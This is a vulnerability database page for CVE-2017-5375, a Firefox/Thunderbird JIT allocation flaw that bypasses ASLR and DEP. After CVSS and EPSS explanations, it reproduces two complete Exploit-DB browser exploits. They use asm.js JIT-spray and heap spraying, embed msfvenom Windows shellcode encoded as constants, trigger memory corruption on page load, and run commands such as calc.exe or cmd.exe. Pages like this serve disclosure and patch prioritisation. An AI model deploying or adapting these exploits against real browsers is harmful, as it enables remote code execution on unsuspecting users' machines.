CVE-2017-5375 Detail

CVE-2017-5375

Score / Severity

9.8

Critical

CVE Descriptions

JIT code allocation can allow for a bypass of ASLR and DEP protections leading to potential memory corruption attacks. This vulnerability affects Thunderbird < 45.7, Firefox ESR < 45.7, and Firefox < 51.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	9.8	CRITICAL	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 44293

Publication date : 2018-03-15 23h00 +00:00
Author : Rh0
EDB Verified : Yes

<!DOCTYPE HTML>  <title>CVE-2016-2819 and ASM.JS JIT-Spray</title> <head> <meta charset=UTF-8 /> <script> "use strict" var Exploit = function(){ this.asmjs = new Asmjs() this.heap = new Heap() } Exploit.prototype.go = function(){ /* target address of fake node object */ var node_target_addr = 0x5a500000 /* target address of asm.js float pool payload*/ var target_eip = 0x20200b58 /* spray asm.js float constant pools */ this.asmjs.spray_float_payload(0x1000) /* spray fake Node objects */ this.heap.spray(node_target_addr, target_eip) /* go! */ this.trigger_vuln(node_target_addr) }; Exploit.prototype.trigger_vuln = function(node_ptr){ document.body.innerHTML = '<table><svg><div id="BBBB">' this.heap.gc() var a = new Array() for (var i=0; i < 0x10100; i++){ /* array element (Node object ptr) control with integer underflow */ a[i] = new Uint32Array(0x100/4) for (var j=0; j<0x100/4; j++) a[i][j] = node_ptr } /* original crashing testcase document.getElementById('BBBB').outerHTML = '<tr><title><ruby><template><table><template><td><col><em><table></tr><th></tr></td></table>hr {}</style>' */ /* easier to exploit codepath */ document.getElementById('BBBB').outerHTML = '<tr><title><ruby><template><table><template><td><col><em><table></tr><th></tr></td></table>hr {}<DD>' window.location.reload() }; var Asmjs = function(){}; Asmjs.prototype.asm_js_module = function(stdlib, ffi){ "use asm" var foo = ffi.foo function payload(){ var val = 0.0 /* Fx 46.0.1 float constant pool of size 0xc0 is at 0xXXXX0b58*/ val = +foo( // $ msfvenom --payload windows/exec CMD=calc.exe # transformed with sc2asmjs.py -1.587865768352248e-263, -8.692422460804815e-255, 7.529882109376901e-114, 2.0120602207293977e-16, 3.7204662687249914e-242, 4.351158092040946e+89, 2.284741716118451e+270, 7.620699014501263e-153, 5.996021286047645e+44, -5.981935902612295e-92, 6.23540918304361e+259, 1.9227873281657598e+256, 2.0672493951546363e+187, -6.971032919585734e+91, 5.651413300798281e-134, -1.9040061366251406e+305, -1.2687640718807038e-241, 9.697849844423e-310, -2.0571400761625145e+306, -1.1777948610587587e-123, 2.708909852013898e+289, 3.591750823735296e+37, -1.7960516725035723e+106, 6.326776523166028e+180 ) return +val; } return payload }; Asmjs.prototype.spray_float_payload = function(regions){ this.modules = new Array(regions).fill(null).map( region => this.asm_js_module(window, {foo: () => 0}) ) }; var Heap = function(target_addr, eip){ this.node_heap = [] }; Heap.prototype.spray = function(node_target_addr, target_eip){ var junk = 0x13371337 var current_address = 0x20000000 var block_size = 0x1000000 while(current_address < node_target_addr){ var fake_objects = new Uint32Array(block_size/4 - 0x100) for (var offset = 0; offset < block_size; offset += 0x100000){ /* target Node object needed to control EIP */ fake_objects[offset/4 + 0x00/4] = 0x29 fake_objects[offset/4 + 0x0c/4] = 3 fake_objects[offset/4 + 0x14/4] = node_target_addr + 0x18 fake_objects[offset/4 + 0x18/4] = 1 fake_objects[offset/4 + 0x1c/4] = junk fake_objects[offset/4 + 0x20/4] = node_target_addr + 0x24 fake_objects[offset/4 + 0x24/4] = node_target_addr + 0x28 fake_objects[offset/4 + 0x28/4] = node_target_addr + 0x2c fake_objects[offset/4 + 0x2c/4] = target_eip } this.node_heap.push(fake_objects) current_address += block_size } }; Heap.prototype.gc = function(){ for (var i=0; i<=10; i++) var x = new ArrayBuffer(0x1000000) }; </script> <head> <body onload='exploit = new Exploit(); exploit.go()' />

Exploit Database EDB-ID : 42327

Publication date : 2017-07-13 22h00 +00:00
Author : Rh0
EDB Verified : No

<!DOCTYPE HTML>  <script async> function asm_js_module(){ "use asm"; /* huge jitted nop sled */ function payload_code(){ var val = 0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; /* 3 byte VirtualAlloc RWX stager */ val = (val + 0xa890db31)|0; val = (val + 0xa89030b3)|0; val = (val + 0xa81b8b64)|0; val = (val + 0xa80c5b8b)|0; val = (val + 0xa81c5b8b)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa8904c4c)|0; val = (val + 0xa8902eb1)|0; val = (val + 0xa85144b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8903233)|0; val = (val + 0xa89045b1)|0; val = (val + 0xa8514cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8904e52)|0; val = (val + 0xa8904bb1)|0; val = (val + 0xa85145b5)|0; val = (val + 0xa8590e6a)|0; val = (val + 0xa84fe789)|0; val = (val + 0xa8086b8b)|0; val = (val + 0xa820738b)|0; val = (val + 0xa8471b8b)|0; val = (val + 0xa82ae349)|0; val = (val + 0xa890c031)|0; val = (val + 0xa890ad66)|0; val = (val + 0xa89c613c)|0; val = (val + 0xa8077c9d)|0; val = (val + 0xa890202c)|0; val = (val + 0xa89c073a)|0; val = (val + 0xa8d7749d)|0; val = (val + 0xa890bdeb)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa890636f)|0; val = (val + 0xa8906cb1)|0; val = (val + 0xa8516cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa890416c)|0; val = (val + 0xa89075b1)|0; val = (val + 0xa85161b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8907472)|0; val = (val + 0xa89056b1)|0; val = (val + 0xa85169b5)|0; val = (val + 0xa890eb89)|0; val = (val + 0xa83cc583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa878c583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa820458b)|0; val = (val + 0xa890d801)|0; val = (val + 0xa890d231)|0; val = (val + 0xa890e789)|0; val = (val + 0xa8590d6a)|0; val = (val + 0xa810348b)|0; val = (val + 0xa890de01)|0; val = (val + 0xa890a6f3)|0; val = (val + 0xa8900de3)|0; val = (val + 0xa804c283)|0; val = (val + 0xa890dbeb)|0; val = (val + 0xa8247d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890ead1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa890d231)|0; val = (val + 0xa8178b66)|0; val = (val + 0xa81c7d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa802e2c1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa8903f8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890406a)|0; val = (val + 0xa890c031)|0; val = (val + 0xa85030b4)|0; val = (val + 0xa85010b4)|0; val = (val + 0xa890006a)|0; val = (val + 0xa890d7ff)|0; val = (val + 0xa890c931)|0; val = (val + 0xa89000b5)|0; val = (val + 0xa890c3b1)|0; val = (val + 0xa890ebd9)|0; val = (val + 0xa82434d9)|0; val = (val + 0xa890e689)|0; val = (val + 0xa80cc683)|0; val = (val + 0xa890368b)|0; val = (val + 0xa85fc683)|0; val = (val + 0xa890c789)|0; val = (val + 0xa81e8b66)|0; val = (val + 0xa81f8966)|0; val = (val + 0xa802c683)|0; val = (val + 0xa802c783)|0; val = (val + 0xa8901e8a)|0; val = (val + 0xa8901f88)|0; val = (val + 0xa803c683)|0; val = (val + 0xa801c783)|0; val = (val + 0xa803e983)|0; val = (val + 0xa89008e3)|0; val = (val + 0xa890cceb)|0; val = (val + 0xa890e0ff)|0; val = (val + 0xa824248d)|0; /* $ msfvenom --payload windows/exec CMD=cmd.exe EXITFUNC=seh */ val = (val + 0xa882e8fc)|0; val = (val + 0xa8000000)|0; val = (val + 0xa8e58960)|0; val = (val + 0xa864c031)|0; val = (val + 0xa830508b)|0; val = (val + 0xa80c528b)|0; val = (val + 0xa814528b)|0; val = (val + 0xa828728b)|0; val = (val + 0xa84ab70f)|0; val = (val + 0xa8ff3126)|0; val = (val + 0xa8613cac)|0; val = (val + 0xa82c027c)|0; val = (val + 0xa8cfc120)|0; val = (val + 0xa8c7010d)|0; val = (val + 0xa852f2e2)|0; val = (val + 0xa8528b57)|0; val = (val + 0xa84a8b10)|0; val = (val + 0xa84c8b3c)|0; val = (val + 0xa8e37811)|0; val = (val + 0xa8d10148)|0; val = (val + 0xa8598b51)|0; val = (val + 0xa8d30120)|0; val = (val + 0xa818498b)|0; val = (val + 0xa8493ae3)|0; val = (val + 0xa88b348b)|0; val = (val + 0xa831d601)|0; val = (val + 0xa8c1acff)|0; val = (val + 0xa8010dcf)|0; val = (val + 0xa8e038c7)|0; val = (val + 0xa803f675)|0; val = (val + 0xa83bf87d)|0; val = (val + 0xa875247d)|0; val = (val + 0xa88b58e4)|0; val = (val + 0xa8012458)|0; val = (val + 0xa88b66d3)|0; val = (val + 0xa88b4b0c)|0; val = (val + 0xa8011c58)|0; val = (val + 0xa8048bd3)|0; val = (val + 0xa8d0018b)|0; val = (val + 0xa8244489)|0; val = (val + 0xa85b5b24)|0; val = (val + 0xa85a5961)|0; val = (val + 0xa8e0ff51)|0; val = (val + 0xa85a5f5f)|0; val = (val + 0xa8eb128b)|0; val = (val + 0xa86a5d8d)|0; val = (val + 0xa8858d01)|0; val = (val + 0xa80000b2)|0; val = (val + 0xa8685000)|0; val = (val + 0xa86f8b31)|0; val = (val + 0xa8d5ff87)|0; val = (val + 0xa80efebb)|0; val = (val + 0xa868ea32)|0; val = (val + 0xa8bd95a6)|0; val = (val + 0xa8d5ff9d)|0; val = (val + 0xa87c063c)|0; val = (val + 0xa8fb800a)|0; val = (val + 0xa80575e0)|0; val = (val + 0xa81347bb)|0; val = (val + 0xa86a6f72)|0; val = (val + 0xa8ff5300)|0; val = (val + 0xa86d63d5)|0; val = (val + 0xa8652e64)|0; val = (val + 0xa8006578)|0; val = (val + 0xa8909090)|0; return val|0; } return payload_code } </script> <script> function spray_asm_js_modules(){ sprayed = [] for (var i=0; i<= 0x1800; i++){ sprayed[i] = asm_js_module() } } /* heap spray inspired by skylined */ function heap_spray_fake_objects(){ var heap = [] var current_address = 0x08000000 var block_size = 0x1000000 while(current_address < object_target_address){ var heap_block = new Uint32Array(block_size/4 - 0x100) for (var offset = 0; offset < block_size; offset += 0x100000){ /* fake object target = ecx + 0x88 and fake vtable*/ heap_block[offset/4 + 0x00/4] = object_target_address /* self + 4 */ heap_block[offset/4 + 0x14/4] = object_target_address /* the path to EIP */ heap_block[offset/4 + 0x18/4] = 4 heap_block[offset/4 + 0xac/4] = 1 /* fake virtual function --> JIT target */ heap_block[offset/4 + 0x138/4] = jit_payload_target } heap.push(heap_block) current_address += block_size } return heap } /* address of fake object */ object_target_address = 0x30300000 /* address of our jitted shellcode */ jit_payload_target = 0x1c1c0054 /* ASM.JS JIT Spray */ spray_asm_js_modules() /* Spray fake objects */ heap = heap_spray_fake_objects() /* -----> */ /* bug trigger ripped from bugzilla report */ var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};'); worker.postMessage("zero"); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x1000); var heap100 = new Array(0x4000); var block80 = new ArrayBuffer(0x80); var block100 = new ArrayBuffer(0x100); var sprayBase = undefined; var arrBase = undefined; var animateX = undefined; var containerA = undefined; var offset = 0x88 // Firefox 50.0.1 var exploit = function(){ var u32 = new Uint32Array(block80) u32[0x4] = arrBase - offset; u32[0xa] = arrBase - offset; u32[0x10] = arrBase - offset; for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } for(i = 0; i < heap80.length/2; i++) { heap80[i] = block80.slice(0) } animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') for(i = heap80.length/2; i < heap80.length; i++) { heap80[i] = block80.slice(0) } for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') containerA.pauseAnimations(); } worker.onmessage = function(e) {arrBase=object_target_address; exploit()} //worker.onmessage = function(e) {arrBase=0x30300000; exploit()} var trigger = function(){ containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idA = "ia"; var idC = "ic"; animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = trigger; setInterval("window.location.reload()", 3000) /* <----- */ </script>